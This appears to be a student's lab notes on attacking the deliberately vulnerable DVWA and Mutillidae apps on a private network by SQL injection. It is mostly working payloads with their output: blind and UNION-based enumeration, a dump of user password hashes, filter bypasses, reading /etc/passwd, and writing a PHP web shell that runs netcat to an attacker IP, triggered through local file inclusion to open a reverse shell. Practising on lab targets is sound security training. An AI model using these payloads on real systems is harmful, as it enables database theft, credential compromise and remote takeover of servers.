Blind SQL Injection: Doenst display any errors to you

Blind SQL Injection: Doenst display any errors to you

1' and 1=1# --> 1' and 1=1%23    // True Statement
1' and 1=0# --> 1' and 1=0%23 // False Statement


Valid:
------
192.168.149.136/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
192.168.149.136/dvwa/vulnerabilities/sqli_blind/?id=1' and 1=1%23&Submit=Submit#
   --------------

Invalid:
--------
192.168.149.136/dvwa/vulnerabilities/sqli_blind/?id=1' and 1=0%23&Submit=Submit#


when we give a true statement, its giving a valid page and when a false statement is given no response is shown

1' order by 1%23 // True Statement
----------------------------------
192.168.149.136/dvwa/vulnerabilities/sqli_blind/?id=1' order by 1%23&Submit=Submit#

1' order by 10000%23 // False Statement
---------------------------------------
http://192.168.149.136/dvwa/vulnerabilities/sqli_blind/?id=1%27%20order%20by%2010000%23&Submit=Submit#

output is displayed only when a valid statement is provided
output is not displayed if a invalid statement is provided. So, this page is vulnerable to sql injection

'union select 1,2%23

'union select table_name,2 from information_schema.tables%23
------------------------------------------------------------
Example:
http://192.168.149.136/dvwa/vulnerabilities/sqli_blind/?id='union select table_name,2 from information_schema.tables%23&Submit=Submit#


---------------------------------------------------------------------------------------------------------------------------------------

when tried with true and false statements, if we get a response from the sql directly, then it is vulnerable to sql injection

1' order by 1%23  //worked
1' order by 2%23  //Worked
1' order by 2%23  //Didnt work
1' order by 10000%23 s

so, only 1 and 2

'union select 1,2%23
------------------------
1'union select database(),2%23
----------------------------------

Result :
ID: 1'union select database(),2#
First name: dvwa  --> database name
Surname: 2

'union select table_name,2 from information_schema.tables where table_schema= 'dvwa'%23
---------------------------------------------------------------------------------------

Result:
ID: 1'union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
First name: users
Surname: 2

'union select column_name,2 from information_schema.columns where table_name= 'users'%23
-----------------------------------------------------------------------------------------
Result:

ID: 1'union select column_name,2 from information_schema.columns where table_name= 'users'#
First name: user_id
Surname: 2
ID: 1'union select column_name,2 from information_schema.columns where table_name= 'users'#
First name: first_name
Surname: 2
ID: 1'union select column_name,2 from information_schema.columns where table_name= 'users'#
First name: last_name
Surname: 2
ID: 1'union select column_name,2 from information_schema.columns where table_name= 'users'#
First name: user
Surname: 2
ID: 1'union select column_name,2 from information_schema.columns where table_name= 'users'#
First name: password
Surname: 2
ID: 1'union select column_name,2 from information_schema.columns where table_name= 'users'#
First name: avatar
Surname: 2


'union select user,password from users%23
------------------------------------------
Result:

ID: 1'union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1'union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1'union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1'union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1'union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99


-----------------------------------------------------------------------------------------------------------
============================================ DVWA MEDIUM SECURITY =========================================
-----------------------------------------------------------------------------------------------------------
1 and 1=1 // true Condition

http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=1 and 1=1 %23&Submit=Submit#

1 and 1=2 // False condition  --> Blind SQL Worked

http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=1 and 1=2%23&Submit=Submit#


1 union select 1,2%23
------------------
http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=1 union select 1,2%23&Submit=Submit#

Result:
ID: 1 union select 1,2
First name: admin
Surname: admin
ID: 1 union select 1,2
First name: 1
Surname: 2

so, we can write in 1 & 2

1 union select table_name,2 from information_schema.tables%23
-------------------------------------------------------------

http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=1 union select table_name,2 from information_schema.tables%23&Submit=Submit#



1 union select table_name,2 from information_schema.tables where table_schema='dvwa'%23
---------------------------------------------------------------------------------------

some websites doenst allow '' symbols, so. we need to encode it into base 64 and send the request

dvwa in hex = 0x  64767761;

192.168.149.136/dvwa/vulnerabilities/sqli/?id=1 union select table_name,2 from information_schema.tables where table_schema=0x64767761%23&Submit=Submit#

Result:

ID: 1 union select table_name,2 from information_schema.tables where table_schema=0x64767761#
First name: admin
Surname: admin
ID: 1 union select table_name,2 from information_schema.tables where table_schema=0x64767761#
First name: guestbook
Surname: 2
ID: 1 union select table_name,2 from information_schema.tables where table_schema=0x64767761#
First name: users
Surname: 2


-----------------------------------------------------------------------------------------------------------
========================================= CASE (Frequent Prob)============================================
-----------------------------------------------------------------------------------------------------------

-1' +uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables%23

http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=1%27%20+uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables%23&Submit=Submit#

multiple records are shwon, so go to var/www/html/dvwa/vulnerabilities/sqli/source/low.php
comment the while loop //  and save it

reaload the page and you can see single table

-1' +uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables%23
----------------------------------------------------------------------

http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=-1%27%20+uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables%23&Submit=Submit#

Result:

ID: -1'  uNioN/**/sEleCt/**/table_name,2 fRom information_schema.tables#
First name: CHARACTER_SETS
Surname: 2

// this is done because, in most of the websites only sinle result query is displayed.
// SO, to solve the problem use the following query

1' +uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables+limit+1,2%23
--------------------------------------------------------------------------------


http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=1' +uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables+limit+1,2%23&Submit=Submit#

Result:

ID: 1'  uNioN/**/sEleCt/**/table_name,2 fRom information_schema.tables limit 1,2#
First name: CHARACTER_SETS
Surname: 2


http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=1%27%20+uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables+limit+2,3%23&Submit=Submit#

Result:

ID: 1'  uNioN/**/sEleCt/**/table_name,2 fRom information_schema.tables limit 2,3#
First name: COLLATIONS
Surname: 2

we can keep on going ... 3-4, 4-5 and so,on ...



1' +uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables+where+table_schema='dvwa'+limit+2,3%23
---------------------------------------------------------------------------------------------------------

http://192.168.149.136/dvwa/vulnerabilities/sqli/?id=1' +uNioN/**/sEleCt/**/table_name,2+fRom+information_schema.tables+where+table_schema='dvwa'+limit+2,3%23&Submit=Submit#

ID: 1'  uNioN/**/sEleCt/**/table_name,2 fRom information_schema.tables where table_schema='dvwa' limit 2,3#
First name: users
Surname: 2


-----------------------------------------------------------------------------------------------------------
========================================== BYPASS FILTERS =================================================
-----------------------------------------------------------------------------------------------------------
and 1=1
aNd 222=222
anD 111=111
orDeR nY 1

bypassing spaces: + (or) /**/

union select 1,2 %23
uNioN+SelEcT+1,2+%23
uNioN/**/SeLecT/**/1,2/**/%23

/*
--
;--  end of the statement
; /*
;//

-----------------------------------------------------------------------------------------------------------
======================================== File Upload SQL Vulnerability ====================================
-----------------------------------------------------------------------------------------------------------

Read a file in the server:
---------------------------------------------------------------:
' union select null,load_file('/etc/passwd'),null,null,null%23 :
-------------------------------------------------------------- :

http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin' union select null,load_file('/etc/passwd'),null,null,null%23&password=password&user-info-php-submit-button=View+Account+Details


Write a file into the server:

' union select null,'example example', null,null,null into outfile '/var/www/example.txt'

192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin' union select null,'example example', null,null,null into outfile '/tmp/example.txt'%23&password=password&user-info-php-submit-button=View+Account+Details


-----------------------------------------------------------------------------------------------------------
================================ Reverse Shell SQL Vulnerability ==========================================
-----------------------------------------------------------------------------------------------------------

'union select 1,2 %23

-1 = no values come in between admin and admin


-1'union select '<?passthru("nc -e /bin/sh Attacker_IP 8080");?>',null into outfile '/tmp/reverse.php'%23

---------------------------------------------------------------------------------------------------------:
-1'union select '<?passthru("nc -e /bin/sh 192.168.149.148 8080");?>',null into outfile '/tmp/reverse.php'%23                                                                                     :
----------------------------------------------------------------------------------------------------------:

192.168.149.136/dvwa/vulnerabilities/sqli/?id=-1'union select '<?passthru("nc -e /bin/sh 192.168.149.148 8888");?>',null into outfile '/tmp/reverse1.php'%23&Submit=Submit#


in terminal
--> nc -vv -l -p 8888

now you need to run the file that we uploaded on the tmp diectory..
you need not be on the same website but can be on the same web server


find a local file inclusion vulnerabilty on the same server, need not be on same website

 http://192.168.149.136/dvwa/vulnerabilities/fi/?page=/../../../../../etc/passwd

http://192.168.149.136/dvwa/vulnerabilities/fi/?page=/../../../../../tmp/reverse1.php

thats it, reverse shell connection is established ..